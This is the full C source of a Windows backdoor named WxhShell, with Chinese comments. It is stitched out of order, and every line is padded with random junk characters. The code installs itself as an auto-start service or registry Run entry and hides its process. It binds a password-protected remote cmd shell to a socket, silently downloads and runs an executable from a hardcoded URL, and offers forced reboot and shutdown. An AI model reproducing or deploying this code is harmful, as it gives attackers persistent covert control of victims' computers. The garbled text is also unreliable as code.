    if(Boot(SHUTDOWN)) @Pd) %'s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BYkVg2D(  
    else { m j'"Z75  
    closesocket(wsh); ^mS.HT=X  
    ExitThread(0); XPGL3[w\V  
    } 0EcC  
    break; t$ACQ*O  
    } aslU`#"  
  // 获取shell myEGibhK  
  case 's': { [u,hc/PL  
    CmdShell(wsh); ~%D^ Ga7  
    closesocket(wsh); jdV .{8@  
    ExitThread(0); CM+F7#T?n  
    break; nNd`]F^U  
  } j;$6F/g  
  // 退出 c,+L +  
  case 'x': { 6~:W(E}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z" b/osV  
    CloseIt(wsh); %AzPAWcN  
    break;  PU,6h}  
    } V[BY/<z)A  
  // 离开 GlXA-p<  
  case 'q': { y|&.v <  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BnKP7e  
    closesocket(wsh); ]}UeuF\  
    WSACleanup(); u=_bM2;~Z  
    exit(1); 5bu[}mJ  
    break; .5jnKU8NF  
        } vB&F_"/X2  
  } > C*?17\  
  } _"R3N  
J3]qg.B%z  
  // 提示信息 Td["l!-fe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +1E?He:iQ  
} $gj+v+%N  
  } qcR|E`k-G  
4GMa5]Ft  
  return; 0A #9C09  
} tdMP,0u  
,yB?~  
// shell模块句柄 "ZA$"^  
int CmdShell(SOCKET sock) B,BOzpb(  
{ _WRR 3  
STARTUPINFO si; j]@ x Q,y  
ZeroMemory(&si,sizeof(si)); /8P4%[\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; knNhN=hG+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T:w2  
PROCESS_INFORMATION ProcessInfo; .!7Fe)(x  
char cmdline[]="cmd"; $M}k%Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IS5.i95m  
  return 0; mG}^'?^K  
} J]kP`  
5WtQwN~  
// 自身启动模式 (R;) 9I\  
int StartFromService(void) ShEaL&'J  
{ _G-b L;  
typedef struct kz$6}&uk  
{ ?34EJ !  
  DWORD ExitStatus; vy2*BTU?  
  DWORD PebBaseAddress; =,/A\F  
  DWORD AffinityMask; }(f.uN_v  
  DWORD BasePriority; gLXvw]  
  ULONG UniqueProcessId; !9e\O5PmO  
  ULONG InheritedFromUniqueProcessId; '0])7jq  
}   PROCESS_BASIC_INFORMATION; Q5`+eQ?_\  
'NG^HLD/  
PROCNTQSIP NtQueryInformationProcess; (7rz:  
`[C  v-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q*mMF@-:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BM=V,BZy  
P0`>{!r6@  
  HANDLE             hProcess; QXIbFv  
  PROCESS_BASIC_INFORMATION pbi; (d5vH)+ A  
N>cp>&jV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oneSgJ  
  if(NULL == hInst ) return 0; I;Z`!u:+  
>~^mIu_BH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2heWE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _Gs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c*M)DO`y;h  
s$DT.cvO  
  if (!NtQueryInformationProcess) return 0; r+V(1<`2X  
?}1JL6mF{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l?yZtZ8  
  if(!hProcess) return 0; @]y{M;  
8IT_mjj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D 7;~x]*  
#Tg|aW$(*  
  CloseHandle(hProcess); V!kQuQJ>  
x]%4M\T``  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u #=kb5}{  
if(hProcess==NULL) return 0; Qn'r+X5t  
3 4A&LBwC  
HMODULE hMod; l b1sV  
char procName[255]; [6RV'7`Abj  
unsigned long cbNeeded; +*:x#$phx  
:(S/$^U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RB$ 8^#  
2o s6c te  
  CloseHandle(hProcess); )z*$`?)k  
7Y @=x#  
if(strstr(procName,"services")) return 1; // 以服务启动 Z|cTzunp  
a dz;N;rIY  
  return 0; // 注册表启动 gqHH Hh  
} &]"_pc/>m  
go%X%Os]  
// 主模块 nkCRe  
int StartWxhshell(LPSTR lpCmdLine) q=E}#[EgY  
{ [V#&sAe  
  SOCKET wsl; u {E^<fW]  
BOOL val=TRUE; 5Ky9Pz  
  int port=0; e G*s1uQl  
  struct sockaddr_in door; EDa08+Y  
U7f&N  
  if(wscfg.ws_autoins) Install(); NkjQyMF  
No92Y^~/  
port=atoi(lpCmdLine); OL mBh3&  
;hfG$ {l;  
if(port<=0) port=wscfg.ws_port; |+4E 8;4_  
31o7R &v  
  WSADATA data; [}xIg8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9>$%F;JP44  
|qudJucV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w4< u@L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]a%\Q 2[c  
  door.sin_family = AF_INET; CDTk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zm)CfEF 8  
  door.sin_port = htons(port); ^) b7m  
WE Svkm;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]K0,nj*\c  
closesocket(wsl); $|cp;~ 1  
return 1; 7z&adkG:  
} ;vv!qBl|@  
k|$"TFXx;  
  if(listen(wsl,2) == INVALID_SOCKET) { }u3H4S<o  
closesocket(wsl); /romTK4  
return 1; jRdhLs,M9  
} i9@;,4f  
  Wxhshell(wsl); b?2X>QJ  
  WSACleanup(); {c\oOM<7  
nhQ44qRgQ  
return 0; AeY$.b  
%is,t<G  
}  ny  
3dX=xuQ%/  
// 以NT服务方式启动 2 -p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ycl>git]  
{ ] EVe@  
DWORD   status = 0; o3i,B),K  
  DWORD   specificError = 0xfffffff; Xc9p;B>^Ts  
<(bCz>o|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R%)2(\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RlslF9f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FU (}=5n  
  serviceStatus.dwWin32ExitCode     = 0; zhA',p@K?_  
  serviceStatus.dwServiceSpecificExitCode = 0; ^iV`g?z  
  serviceStatus.dwCheckPoint       = 0; d#vS E.&  
  serviceStatus.dwWaitHint       = 0; 94h_t@Q/1  
0x]OF8=J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~D -JZx  
  if (hServiceStatusHandle==0) return; ezg^5o;  
p'Y&Z?8  
status = GetLastError(); '?`@7Eol  
  if (status!=NO_ERROR) u1pc5 Y{  
{ \=EY@ *=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [DotS\p!z  
    serviceStatus.dwCheckPoint       = 0; u>t|X}JH  
    serviceStatus.dwWaitHint       = 0; @`IXu$Wm(  
    serviceStatus.dwWin32ExitCode     = status; z)ft3(!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0279g   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Z/][?Jj{  
    return; \f /!  
  } M|[@znzR<  
h+B'_ `(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  \8>  
  serviceStatus.dwCheckPoint       = 0; 0\EpH[m}-  
  serviceStatus.dwWaitHint       = 0; k%Ma4_Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <m Ju v  
} +3/k/W  
*w'q  
// 处理NT服务事件,比如:启动、停止 Q3NPwM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wr3_Bf3]  
{ 2,8/Cb  
switch(fdwControl) j[m_qohd7  
{ IDGQIg  
case SERVICE_CONTROL_STOP: |5}rX!wS4  
  serviceStatus.dwWin32ExitCode = 0; wO2V%v^bp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,c,Xd  
  serviceStatus.dwCheckPoint   = 0; RV0>-@/x  
  serviceStatus.dwWaitHint     = 0; z)58\rtz  
  { H-/; l54E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6m, KL5>W  
  } Ism^hyL  
  return; ,YP1$gj  
case SERVICE_CONTROL_PAUSE: "<PoJPh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [):{5hMA  
  break; 97qtJ(ESI  
case SERVICE_CONTROL_CONTINUE: 5"-una>D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; } * ?n?'  
  break; h*;g0QBkl  
case SERVICE_CONTROL_INTERROGATE: b(P HZCy#  
  break; 9SRfjS{7  
}; Z/89&Uy`h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lj " Z  
} >\|kJ?h  
Cec9#C  
// 标准应用程序主函数 5+e>+$2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TIcd _>TW  
{ ZQ,fm`y\  
#dva0%-1  
// 获取操作系统版本 /<3;0~#){  
OsIsNt=GetOsVer(); YMc8Q\*B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Veb+^&  
Lv `#zgo_f  
  // 从命令行安装 2-vJv+-  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,s1&O`  
<^,o$b  
  // 下载执行文件 M!eoe5  
if(wscfg.ws_downexe) { N3uMkH-<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ioB|*D<U2  
  WinExec(wscfg.ws_filenam,SW_HIDE); q[{:  
} 5kGxhD  
W4)kkJ  
if(!OsIsNt) { 0Y2\n-`z  
// 如果时win9x,隐藏进程并且设置为注册表启动 g\ErJ+i  
HideProc(); XIr{U5$<6  
StartWxhshell(lpCmdLine); 2Pbe~[  
} Q)x?B]b-  
else w{k1Y+1  
  if(StartFromService()) 1a7!4)\  
  // 以服务方式启动 AddGB^7yl  
  StartServiceCtrlDispatcher(DispatchTable); q*~gWn>T  
else GY oZ$p"C  
  // 普通方式启动 rPRrx-A  
  StartWxhshell(lpCmdLine); 38[)[{G)Hv  
cvZni#o2)  
return 0; ?j1_ n,d  
} a$w},= `E  
VK@$JwdL  
U8CWz!;Qz  
5;X {.2  
=========================================== c u\ls^  
Cw 1 9y  
7m@ )Lv  
Ihdu1]~R{  
Gs+\D0o!  
ANckv|&'v  
" 4rI:1 yGt@  
54<6Dy f  
#include <stdio.h> Dc5bkm  
#include <string.h> M,crz  
#include <windows.h> ao)Ck3]  
#include <winsock2.h> %4j&H!y-w;  
#include <winsvc.h> ;knd7SC   
#include <urlmon.h> |J:$MX~  
RS'} nY}  
#pragma comment (lib, "Ws2_32.lib") HR;/Br  
#pragma comment (lib, "urlmon.lib") uA~YRKer  
y)6,0K {k  
#define MAX_USER   100 // 最大客户端连接数 NA+&jV  
#define BUF_SOCK   200 // sock buffer XR|"dbZW.0  
#define KEY_BUFF   255 // 输入 buffer 3rxo,pX94  
CXTt(-FT  
#define REBOOT     0   // 重启 Z`rK\Bc  
#define SHUTDOWN   1   // 关机 >4,{6<|  
%PzQ\c  
#define DEF_PORT   5000 // 监听端口 'nMApPl  
A^pu  
#define REG_LEN     16   // 注册表键长度 p?;-!TUv  
#define SVC_LEN     80   // NT服务名长度 ;_iPm?Y8  
N6h1|_o  
// 从dll定义API 6MuWlCKF8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +W6Hva.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,*7H|de7   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Am=wEu[b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `8,w[o oC2  
PfyRZ[3)c  
// wxhshell配置信息 fCB:733H  
struct WSCFG { "ml?7Xl,n  
  int ws_port;         // 监听端口 Yj) e$f  
  char ws_passstr[REG_LEN]; // 口令 Xq|nJ|h  
  int ws_autoins;       // 安装标记, 1=yes 0=no WM/#.  
  char ws_regname[REG_LEN]; // 注册表键名 Mec{_jiH&D  
  char ws_svcname[REG_LEN]; // 服务名 8 4z6zFv?Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2 #KoN8%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -&imjy<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F<5nGx cC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no " 9qp "%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tVunh3-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :y\09)CJK  
S."7+g7Ar  
}; I0DM=V>;  
hm3jpWi 8  
// default Wxhshell configuration r=qLaPG  
struct WSCFG wscfg={DEF_PORT, yIOLs}!SF  
    "xuhuanlingzhe", qbXz7s*{  
    1, fE^uF[-7?  
    "Wxhshell", job[bhK'Jt  
    "Wxhshell", sAVefL?  
            "WxhShell Service", @&5A&(  
    "Wrsky Windows CmdShell Service", 4b4QbJ$  
    "Please Input Your Password: ", *xcP`  
  1, ;W0]66&  
  "http://www.wrsky.com/wxhshell.exe", +vz` go  
  "Wxhshell.exe" MHo1 lrZa+  
    }; [h4o7  
=D].`  
// 消息定义模块 ~Eq\DK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J='W+=N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0N{+y}/G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i&A%"lOI9  
char *msg_ws_ext="\n\rExit."; -l "U"U"F  
char *msg_ws_end="\n\rQuit."; 0O~p7D  
char *msg_ws_boot="\n\rReboot..."; M/{g(|{  
char *msg_ws_poff="\n\rShutdown..."; A:eG5K}  
char *msg_ws_down="\n\rSave to "; _R7 w?!t8  
t}Ss=0dJO  
char *msg_ws_err="\n\rErr!"; :mpiAs<%U"  
char *msg_ws_ok="\n\rOK!"; =OYQM<q  
o 7G> y#Y  
char ExeFile[MAX_PATH]; f jI#-  
int nUser = 0; Wr>(#*r7q  
HANDLE handles[MAX_USER]; pCC7(Ouo  
int OsIsNt; 9= V>f )R  
dv7<AJ  
SERVICE_STATUS       serviceStatus; m"4B!S&Fc(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s*Ih_Ag=:  
PKA }zZ  
// 函数声明 nLy#|C  
int Install(void); "!H@k%eAM|  
int Uninstall(void); se!mb _!  
int DownloadFile(char *sURL, SOCKET wsh); }>&KUl  
int Boot(int flag); HR60   
void HideProc(void); `5'2Hg+  
int GetOsVer(void); t\r:E2 O  
int Wxhshell(SOCKET wsl);   \&a.}t  
void TalkWithClient(void *cs); . uR M{Bs  
int CmdShell(SOCKET sock); m=TJDr-  
int StartFromService(void); g_w&"=.jBq  
int StartWxhshell(LPSTR lpCmdLine); wGJjA=C  
knT.l"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m&IsDAn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %M&3VQ9w  
aq Mc6N`z  
// 数据结构和表定义 t)N;'v  &  
SERVICE_TABLE_ENTRY DispatchTable[] = j$x)pB3]  
{ u,7zFg)H  
{wscfg.ws_svcname, NTServiceMain}, EfiU$ 8y  
{NULL, NULL} iePf ]O*  
}; nxaT.uFd1  
h1+ hds+  
// 自我安装 7byCc_,  
int Install(void) 8~ #M{}  
{ uLN[*D  
  char svExeFile[MAX_PATH]; _8><| 3d  
  HKEY key; M=y0PCD  
  strcpy(svExeFile,ExeFile); }"zC >eX&  
}q!_!q,@  
// 如果是win9x系统,修改注册表设为自启动 E=u/tpj  
if(!OsIsNt) { &Y7C0v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9`"DFFSMS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f: xWu-  
  RegCloseKey(key); dvjTyX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?_q+&)4-o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9<s4yZF@x  
  RegCloseKey(key); ~]WVG@-  
  return 0; ,P6=~q3k  
    } aMK~1]Cx  
  } 5HlWfD  
} )%Ru#}1X6  
else { Cd]/  
h qmSE'8  
// 如果是NT以上系统,安装为系统服务 ._ CP% R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <7n]Ai@Y  
if (schSCManager!=0) 1H{jy^sP7  
{ R$m`Z+/@  
  SC_HANDLE schService = CreateService iOqk*EL_r\  
  ( 7Kf}O6nE  
  schSCManager, (~s|=Hxq|-  
  wscfg.ws_svcname, f9TV%fG?  
  wscfg.ws_svcdisp, & ,L9OU  
  SERVICE_ALL_ACCESS, xx8U$,Ng  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rt4Z;  
  SERVICE_AUTO_START, O~@fXMthh  
  SERVICE_ERROR_NORMAL, 8Fq_i-u  
  svExeFile, >UHa  
  NULL, #S5`Pd!I  
  NULL, h`5)2n+P  
  NULL, XU-m"_t  
  NULL, 4MW ]EQ-  
  NULL H?yE3 w  
  ); Q:MhjkOr}  
  if (schService!=0) kzO&24  
  { 'Qn~H[$/p  
  CloseServiceHandle(schService); uDuF#3 +"  
  CloseServiceHandle(schSCManager); 1u}nm;3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $Ui&D I  
  strcat(svExeFile,wscfg.ws_svcname); .ve *Vp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :&VcB$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z4 M1D9iPY  
  RegCloseKey(key); ftZj}|R!  
  return 0; @Doyt{|T  
    } .T.5TMiOSq  
  } $.K?N@(W  
  CloseServiceHandle(schSCManager); Cg!^S(U4  
} -_8*41  
} ?o[L7JI  
lDc;__}Ws  
return 1; . (`3JQ2s  
} lCb+{OB  
gPEqjj  
// 自我卸载 y,m2(V  
int Uninstall(void) H{fM%*w  
{ 6)*xU|fU  
  HKEY key; $=aI "(3&  
SR7j\1a/2A  
if(!OsIsNt) { F u _@!K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $L}aQlA1JM  
  RegDeleteValue(key,wscfg.ws_regname); &ITuyGmF  
  RegCloseKey(key); vRhnX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hs?zq  
  RegDeleteValue(key,wscfg.ws_regname); F^kwdS  
  RegCloseKey(key); =-jD~rN4;P  
  return 0; N$alUx*  
  } O/OiQ^T  
} py<_HyJ  
} \2X$C#8E  
else { F 3RB  
F $yO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IazkdJX~  
if (schSCManager!=0) Vk}49O<K/  
{ Z(Q2Ue;}&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \t.}-u<7{  
  if (schService!=0) >Da~Q WW|  
  { M##';x0  
  if(DeleteService(schService)!=0) { e!x6bR9EZ  
  CloseServiceHandle(schService); {aj/HFLNY  
  CloseServiceHandle(schSCManager); %c/^_.  
  return 0; %:u[MBe,  
  } $Ua56Y  
  CloseServiceHandle(schService); 1dG06<!  
  } B~gV'(9g  
  CloseServiceHandle(schSCManager); yTAvF\s$(  
} hWEnn=BW  
} H{`{)mS  
$k 2)8#\  
return 1; [*Ju3  
} wNQqfq Z  
G=d(*+& B  
// 从指定url下载文件 5nLDj:C~  
int DownloadFile(char *sURL, SOCKET wsh) ,=%nw]:  
{ }Uw#f@Wh  
  HRESULT hr; >bm|%Ou"  
char seps[]= "/";  Ewo~9 4{  
char *token; 1]OSWCEm*[  
char *file; UuJjO^t  
char myURL[MAX_PATH]; 4A.Q21s  
char myFILE[MAX_PATH]; VcgBLkIF  
m *X7T  
strcpy(myURL,sURL); -l*g~7|j  
  token=strtok(myURL,seps); ae`|ic  
  while(token!=NULL) UQ8bN I7  
  { Omyt2`q  
    file=token; IF_DZ   
  token=strtok(NULL,seps); \7 a4uc  
  } :BZ0 7`9  
)iLM]m   
GetCurrentDirectory(MAX_PATH,myFILE); D-ADv3E,  
strcat(myFILE, "\\"); I4e+$bU3  
strcat(myFILE, file);  t@B(+  
  send(wsh,myFILE,strlen(myFILE),0); _N#&psQzw  
send(wsh,"...",3,0); vK$^y^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2V gP  
  if(hr==S_OK) j F5Blc  
return 0; (.X]F_ *sc  
else =nxKttmU0  
return 1; tJD] (F  
*i%quMv  
} jj&s} _75  
tJZc/]%`H  
// 系统电源模块 d/U."V}  
int Boot(int flag) p+w8$8)  
{ u?0d[mC  
  HANDLE hToken; ]> G&jd7  
  TOKEN_PRIVILEGES tkp; igkz2SI  
M7dU@Ag  
  if(OsIsNt) { i@$*Csj\9*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _" N\b%CkO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !`wW_W  
    tkp.PrivilegeCount = 1; P%>?[9!Nt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v,1F-- v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $ |<m9CW  
if(flag==REBOOT) { >S#ul?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (4+1lOd  
  return 0; a39hP*  
} \V%_hl  
else { 's%q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CEtR[Cu  
  return 0; ;=;JfNnbm  
} ,0?!ov|  
  } `/:cfP\  
  else { Ot9V< D6h  
if(flag==REBOOT) { f(:1yl\a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3N4.$#>#9@  
  return 0; ([k7hUP  
} 3LK%1+)4  
else { N6/T#UVns  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $99R|^  
  return 0; ?d-70pm  
} JLm @Ag  
} "4 k-dj  
?]!vRmZ;  
return 1; ^Kq|ID AP  
} ^ eh /HnJs  
HnZPw&*  
// win9x进程隐藏模块 ^ddO&!U  
void HideProc(void) <^><3U`  
{ }T(z4P3  
G\~^&BAC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *xH\)|3,  
  if ( hKernel != NULL ) 8vD3=yK%^  
  { |4>:M\h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v\A.Tyy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R@`rT*lJ  
    FreeLibrary(hKernel); =_-C%<4  
  } :pZ}*?\  
`gguip-C  
return; C{m&}g`  
} Cvn$]bt/s  
2p< Aj!  
// 获取操作系统版本 ?2`$3[ET-  
int GetOsVer(void) aiux^V  
{ [.cq{6-  
  OSVERSIONINFO winfo; O%JSViPw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t4K56H.L?  
  GetVersionEx(&winfo); C0m\SNR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =ApY9`  
  return 1; Q7a(P  
  else ?q$P>guH6-  
  return 0; '2v f|CX  
} 3% vis\~^  
XB/'u39  
// 客户端句柄模块 2 P}bG>M  
int Wxhshell(SOCKET wsl) U^$E'Q-VK  
{ -2*>`,Uu  
  SOCKET wsh; ;z>p8N  
  struct sockaddr_in client; d"&3Q_2CD  
  DWORD myID; uMiyq<  
A3yi?y{[*  
  while(nUser<MAX_USER) X47!E |*  
{ rc{o?U'^-  
  int nSize=sizeof(client); !$>G# +y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KwFXB  
  if(wsh==INVALID_SOCKET) return 1; }76.6=~  
kk_zVrQ<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,wK 1=7  
if(handles[nUser]==0) Y!n'" *J>  
  closesocket(wsh); !J^tg2M8:  
else *cNk>y  
  nUser++; 7),*3c')  
  } GX38~pq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 08r[K(bfb,  
K51fC4'{  
  return 0; RVF F6N^  
} R^tcr)(  
fVUKvZ}P*  
// 关闭 socket L@A9{,9Pl  
void CloseIt(SOCKET wsh) hqW$k w  
{ `:5,e/5,  
closesocket(wsh); 'Y)/~\FI  
nUser--; [.3sE  
ExitThread(0); 8+(c1  
} !-(J-45  
{B^pnLc  
// 客户端请求句柄 kI+b <$:D  
void TalkWithClient(void *cs) Qp+lJAY  
{ q/'MS[C  
Au=kSSB  
  SOCKET wsh=(SOCKET)cs; aBlbg3q  
  char pwd[SVC_LEN]; d*9j77C]  
  char cmd[KEY_BUFF]; [V5-%w^  
char chr[1]; CWMlZ VG  
int i,j; 3yMt1 fy  
2np-Fc{S  
  while (nUser < MAX_USER) { <^sAY P|  
l $Zs~@N  
if(wscfg.ws_passstr) { J/7 u7_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M?hFCt3Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <2)v9c  
  //ZeroMemory(pwd,KEY_BUFF); Y6;@/[_  
      i=0; cVg$dt  
  while(i<SVC_LEN) { =,E'~P  
a71}y;W  
  // 设置超时 ~UW{)]_jox  
  fd_set FdRead; Q9q9<J7j$  
  struct timeval TimeOut; FB!z#Eim  
  FD_ZERO(&FdRead); va+m9R0  
  FD_SET(wsh,&FdRead); =n)#!i  
  TimeOut.tv_sec=8; rgn|24x  
  TimeOut.tv_usec=0; {~1M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ? ,V;f2c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V*uEJ6T  
ee\Gl?VN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YiNo#M91  
  pwd=chr[0]; c#x7N9;"!  
  if(chr[0]==0xd || chr[0]==0xa) { p[gAZ9  
  pwd=0; 2K~tDNv7  
  break; LOt#1Qv  
  } U]mO7HK  
  i++; #VR`?n?,  
    } ]E..43  
l~{T#Q  
  // 如果是非法用户,关闭 socket qL~Pjr>cF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /0!$p[cjm  
} v/(__xN`B  
TP^\e_k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lmp R>@o"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !$XO U'n  
G`WzJS*}v  
while(1) { #nDL  
5Wl,J _<F  
  ZeroMemory(cmd,KEY_BUFF); (ai72#nFtb  
C64eDX^  
      // 自动支持客户端 telnet标准   -%N}A3m!5  
  j=0; rZ 6@b  
  while(j<KEY_BUFF) { jaNH](V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8ZzU^x  
  cmd[j]=chr[0]; >:fJhF@  
  if(chr[0]==0xa || chr[0]==0xd) { ]q37Hj  
  cmd[j]=0; *<;&>w8  
  break; =mAGD*NKu  
  } Z%A<#%    
  j++; @Zh8 QI+  
    } Y~x`6  
Wd1 IX^7C%  
  // 下载文件 tUn&z?7bF  
  if(strstr(cmd,"http://")) { 5 u"nxT   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v.]'%+::#  
  if(DownloadFile(cmd,wsh)) iiQ||P}5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 /UI>@By  
  else P@-R5GK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mof)2Hbd:  
  } fCs\Q  
  else { [v~Uy$d\  
dcM+ylB  
    switch(cmd[0]) { VQ/ <09e  
  *%z<P~}  
  // 帮助 2>`m<&y  
  case '?': { ^glbxbhI4  
